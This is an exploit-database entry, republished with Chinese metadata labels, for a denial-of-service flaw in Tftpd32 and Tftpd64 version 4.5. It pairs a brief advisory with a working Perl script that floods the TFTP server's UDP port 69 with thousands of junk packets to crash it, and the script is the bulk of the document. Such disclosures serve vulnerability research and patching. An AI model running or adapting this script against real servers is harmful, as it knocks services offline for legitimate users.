TFTPD32 / Tftpd64 – Denial of Service

  • 作者： j0s3h4x0r
    日期： 2014-05-14
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/39331/
  • source: https://www.securityfocus.com/bid/67404/info

Tftpd32 and Tftpd64 are prone to denial-of-service vulnerabilities.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users. Due to the nature of this issue, code-execution may be possible; however this has not been confirmed.

The following products are vulnerable:

Tftpd32 4.5
Tftpd64 4.5

#!/usr/bin/perl -w
 
use IO::Socket;
 
for (my $j = 0; $j < 2; $j++)
{
sleep(2);
for (my $i = 0; $i < 1500; $i++)
{
$st_socket = IO::Socket::INET->new(Proto=>'udp', 
PeerAddr=>'127.0.0.1', PeerPort=>69) or die "connect error";
 
$p_c_buffer = "\x0c\x0d" x 10;
 
print $st_socket $p_c_buffer;
 
close($st_socket);
 
print "sent " . $i . "\n";
}
}
 
exit;
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